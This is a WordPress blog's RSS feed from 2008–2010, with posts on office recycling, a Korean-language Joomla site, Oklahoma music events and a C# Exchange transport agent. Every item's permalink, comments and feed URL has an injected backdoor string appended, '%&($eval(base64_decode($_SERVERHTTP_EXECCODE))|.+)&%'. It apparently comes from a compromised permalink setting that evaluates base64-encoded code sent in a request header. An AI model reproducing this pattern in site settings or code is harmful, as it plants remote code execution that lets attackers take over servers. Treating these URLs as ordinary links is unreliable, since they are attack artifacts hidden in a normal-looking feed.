<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jeremy Branecky</title>
	<atom:link href="http://thebram.com/wp/feed/" rel="self" type="application/rss+xml" />
	<link>http://thebram.com/wp</link>
	<description>thoughts on dev&#124;environment&#124;the world</description>
	<lastBuildDate>Tue, 02 Mar 2010 04:04:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Green Programming</title>
		<link>http://thebram.com/wp/2010/03/01/green-programming/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://thebram.com/wp/2010/03/01/green-programming/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 04:04:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://thebram.com/?p=66</guid>
		<description><![CDATA[Focusing on sustainability is quickly becoming important in all aspects of our lives and careers, even application development.  Efficient code and the use of shared resources are a couple of ways to write sustainable code.  Limiting database calls will lower processor and network usage, thus saving energy.  Sticking to the project life cycle and limiting project builds/uploads/testing/etc [...]]]></description>
			<content:encoded><![CDATA[<p>Focusing on sustainability is quickly becoming important in all aspects of our lives and careers, even application development.  Efficient code and the use of shared resources are a couple of ways to write sustainable code.  Limiting database calls will lower processor and network usage, thus saving energy.  Sticking to the project life cycle and limiting project builds/uploads/testing/etc until it is needed will also save energy.   IBM is <a href="http://greenmonk.net/ibm-big-green-rational-and-eco-aware-programming/">reportedly</a> looking at “green aware programming” or basically a &#8216;heat map&#8217; for your code, pretty cool.</p>
]]></content:encoded>
			<wfw:commentRss>http://thebram.com/wp/2010/03/01/green-programming/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JackyKitchen.net is live</title>
		<link>http://thebram.com/wp/2009/09/18/jackykitchennet-is-live/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://thebram.com/wp/2009/09/18/jackykitchennet-is-live/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 18 Sep 2009 15:06:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://thebram.com/?p=56</guid>
		<description><![CDATA[http://jackykitchen.net went live this week, at least half of it.  Currently, the site is mostly in Korean, and will be translated into English later.  The site, being in Korean, is new ground for me and was a good experience.  Using JoomFish inside of Joomla helped with the content as I was able to give control [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://jackykitchen.net">http://jackykitchen.net</a> went live this week, at least half of it.  Currently, the site is mostly in Korean, and will be translated into English later.  The site, being in Korean, is new ground for me and was a good experience.  Using JoomFish inside of Joomla helped with the content as I was able to give control of the content to the client.  Currently, the site has a few pictures of dishes but over the next couple of weeks, more pictures will be added.</p>
]]></content:encoded>
			<wfw:commentRss>http://thebram.com/wp/2009/09/18/jackykitchennet-is-live/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>First multi-lingual site project</title>
		<link>http://thebram.com/wp/2009/09/02/first-multi-lingual-site-project/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://thebram.com/wp/2009/09/02/first-multi-lingual-site-project/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 03 Sep 2009 01:14:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://thebram.com/?p=52</guid>
		<description><![CDATA[I&#8217;ve started working on my first multi-lingual web site for a local Korean cook.  The site is built on top of Joomla 1.5 and I have installed JoomFish to manage the translations.  I am just now starting to post content to the site and although I foresee twice the amount of work dealing with both [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve started working on my first multi-lingual web site for a local Korean cook.  The site is built on top of Joomla 1.5 and I have installed JoomFish to manage the translations.  I am just now starting to post content to the site and although I foresee twice the amount of work dealing with both languages, am pleased with JoomFish and am enjoying the experience.</p>
]]></content:encoded>
			<wfw:commentRss>http://thebram.com/wp/2009/09/02/first-multi-lingual-site-project/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Light sensors to be installed in most offices</title>
		<link>http://thebram.com/wp/2009/04/30/light-sensors-to-be-installed-in-most-offices/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://thebram.com/wp/2009/04/30/light-sensors-to-be-installed-in-most-offices/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 01 May 2009 03:49:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Green]]></category>

		<guid isPermaLink="false">http://thebram.com/?p=43</guid>
		<description><![CDATA[The Price Edwards green committee spoke with our building management company and they agreed to install light sensors in the offices and common areas on our floor.  The best part about the deal is there is no cost to PEC.  We will start the roll out of the light sensors in the areas that will produce [...]]]></description>
			<content:encoded><![CDATA[<p>The Price Edwards green committee spoke with our building management company and they agreed to install light sensors in the offices and common areas on our floor.  The best part about the deal is there is no cost to PEC.  We will start the roll out of the light sensors in the areas that will produce the biggest ROI, kitchen, copy rooms, closets.  During our audit of the office we found at least 2 closets with lights that remain on 24/7.  Even though the light sensors will not benefit our company directly I believe it is a start in the right direction that will bring awareness and exposure to the green committee and the global green initiative.</p>
]]></content:encoded>
			<wfw:commentRss>http://thebram.com/wp/2009/04/30/light-sensors-to-be-installed-in-most-offices/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PEC Green Committee</title>
		<link>http://thebram.com/wp/2009/04/02/pec-green-committee/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://thebram.com/wp/2009/04/02/pec-green-committee/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 13:52:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Green]]></category>

		<guid isPermaLink="false">http://thebram.com/?p=37</guid>
		<description><![CDATA[The Green Committee at Price Edwards &#38; Company has begun rolling out and planning initiatives for the company to follow.  The initiatives include recycling aluminum, plastic, expanding paper recycling to include individual offices, educate employees through an internal web site, encouraging the use of reusable cups and plates, and others.  So far the reception has [...]]]></description>
			<content:encoded><![CDATA[<p>The Green Committee at Price Edwards &amp; Company has begun rolling out and planning initiatives for the company to follow.  The initiatives include recycling aluminum, plastic, expanding paper recycling to include individual offices, educate employees through an internal web site, encouraging the use of reusable cups and plates, and others.  So far the reception has been mixed.</p>
]]></content:encoded>
			<wfw:commentRss>http://thebram.com/wp/2009/04/02/pec-green-committee/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Norman Music Festival #2</title>
		<link>http://thebram.com/wp/2009/04/02/norman-music-festival-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://thebram.com/wp/2009/04/02/norman-music-festival-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 13:49:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Music]]></category>
		<category><![CDATA[norman music festival]]></category>
		<category><![CDATA[of montreal]]></category>

		<guid isPermaLink="false">http://thebram.com/?p=39</guid>
		<description><![CDATA[The second annual Norman Music Festival comes to downtown Norman OK on Saturday April 25th.  This year includes headliner Of Montreal, the Decemberists, the Starlight Mints, El Paso Hot Button, and many more with a total of 9 stages.  I would be attending the NMF but on the same day, Samantha Crain and Taho and [...]]]></description>
			<content:encoded><![CDATA[<p>The second annual <a href="http://normanmusicfestival.com/" target="_blank">Norman Music Festival</a> comes to downtown Norman OK on Saturday April 25th.  This year includes headliner <a href="http://www.ofmontreal.net/" target="_blank">Of Montreal</a>, <a href="http://www.decemberists.com/" target="_blank">the Decemberists</a>, <a href="http://www.starlightmints.com/" target="_blank">the Starlight Mints</a>, <a href="http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&amp;friendid=4441180">El Paso Hot Button</a>, and many more with a total of 9 stages. </p>
<p>I would be attending the NMF but on the same day, <a href="http://www.samanthacrain.com/" target="_blank">Samantha Crain</a> and <a href="http://www.google.com/url?q=http://www.myspace.com/thaomusic&amp;ei=KMLUSY-EAtTVlQfL_NnKDA&amp;sa=X&amp;oi=spellmeleon_result&amp;resnum=1&amp;ct=result&amp;cd=1&amp;usg=AFQjCNE0VAZfgADx_DmPYwweA0j2aLC_KA" target="_blank">Taho and the Get Down Stay Down</a> are playing at Santa Fe University and I will be there.  Everyone, please take pictures and video of the NMF so I can see everything.</p>
]]></content:encoded>
			<wfw:commentRss>http://thebram.com/wp/2009/04/02/norman-music-festival-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flaming Lips New Years Eve Freakout #2 &#8211; Dec 31 2008, OKC</title>
		<link>http://thebram.com/wp/2008/11/14/flaming-lips-new-years-eve-freakout-2-dec-31-2008-okc/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://thebram.com/wp/2008/11/14/flaming-lips-new-years-eve-freakout-2-dec-31-2008-okc/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 14 Nov 2008 16:37:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Music]]></category>

		<guid isPermaLink="false">http://thebram.com/?p=24</guid>
		<description><![CDATA[This is definitely a show you do not want to miss. I was lucky enough to attend the show last year and was blown away. Tickets go on sale tomorrow, Nov 15, at noon central time. You can visit Ticketmaster for info.]]></description>
			<content:encoded><![CDATA[<p>This is definitely a show you do not want to miss. I was lucky enough to attend the show last year and was blown away. Tickets go on sale tomorrow, Nov 15, at noon central time. You can visit <a href="http://www.ticketmaster.com/event/0C004164AC89D33E">Ticketmaster </a>for info.</p>
]]></content:encoded>
			<wfw:commentRss>http://thebram.com/wp/2008/11/14/flaming-lips-new-years-eve-freakout-2-dec-31-2008-okc/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exchange Transport Agent &#8211; Modifying subject line &#8211; Part 1</title>
		<link>http://thebram.com/wp/2008/11/10/exchange-transport-agent-modifying-subject-line-1/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://thebram.com/wp/2008/11/10/exchange-transport-agent-modifying-subject-line-1/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 10 Nov 2008 19:14:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://thebram.com/?p=10</guid>
		<description><![CDATA[Recently I had the task of building a transport agent for MS Exchange 2007 that reads each incoming e-mail, looks for a specific string, and modifies the original subject if the string is found.  I used c# in .net 2.0 to accomplish this task with only a few lines of code.  I will do my [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I had the task of building a transport agent for MS Exchange 2007 that reads each incoming e-mail, looks for a specific string, and modifies the original subject if the string is found.  I used c# in .net 2.0 to accomplish this task with only a few lines of code.  I will do my best to walk you through the steps to accomplish looking at each e-mail that is received in Exchange.</p>
<p>In VS 2005 or 2008 create a Class Library solution type.</p>
<p>You will need to reference the following assemblies from the Exchange Server:</p>
<p>Microsoft.Exchange.Data.Common and Microsoft.Exchange.Data.Transport (They are both found at C:\Program Files\Microsoft\Exchange Server\Public)</p>
<p>Create a class file in your solution, for this example I will call my class file Agent.cs.  Inside Agent.cs you will need to write 2 classes, one class, a sealed factory, will inherit from the RoutingAgentFactory class and will need to implement the following method:</p>
<p><strong><code>CreateAgent(Microsoft.Exchange.Data.Transport.SmtpServer server)</code></strong></p>
<div><span style="font-size: x-small;">The other class will inherit from the RoutingAgent class and will contain a constructor and an event handler to catch the OnRoutedMessageEvent.  Here is what your constructor will look like assuming my class name is Agent:</span></div>
<div><strong><code>Agent{<br />
this.OnRoutedMessage += new RoutedMessageEventHandler(Agent_OnRoutedMessage);<br />
}<br />
</code></strong>and the event handler will contain the code to check the subject line</div>
<p><strong><code>Agent_OnRoutedMessage(RoutedMessageEventSource source, QueuedMessageEventArgs e){<br />
//add code here, you can access the e-mail message by using e.MailItem<br />
//This line would add the current date to the end of the subject line<br />
e.MailItem.Message.Subject += DateTime.Now.ToString();<br />
}</code></strong></p>
<div>
<p>One final line of code to add goes in the CreateAgent function in the factory class&#8230;</p>
<p><strong><code>override RoutingAgent CreateAgent(Microsoft.Exchange.Data.Transport.SmtpServer server){<br />
return new Agent();<br />
}</code></strong></p>
<p>Installing the transport only takes a couple of commands using the Exchange Management Shell, I will post instructions soon.</p>
<p> </p>
<p> </p></div>
]]></content:encoded>
			<wfw:commentRss>http://thebram.com/wp/2008/11/10/exchange-transport-agent-modifying-subject-line-1/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Working title production</title>
		<link>http://thebram.com/wp/2008/11/10/working-title-production/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://thebram.com/wp/2008/11/10/working-title-production/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 10 Nov 2008 18:10:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://thebram.com/?p=6</guid>
		<description><![CDATA[Check out my Portfolio of sites for new projects I am currently working on.  I will be posting updated links soon.]]></description>
			<content:encoded><![CDATA[<p>Check out my Portfolio of sites for new projects I am currently working on.  I will be posting updated links soon.</p>
]]></content:encoded>
			<wfw:commentRss>http://thebram.com/wp/2008/11/10/working-title-production/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

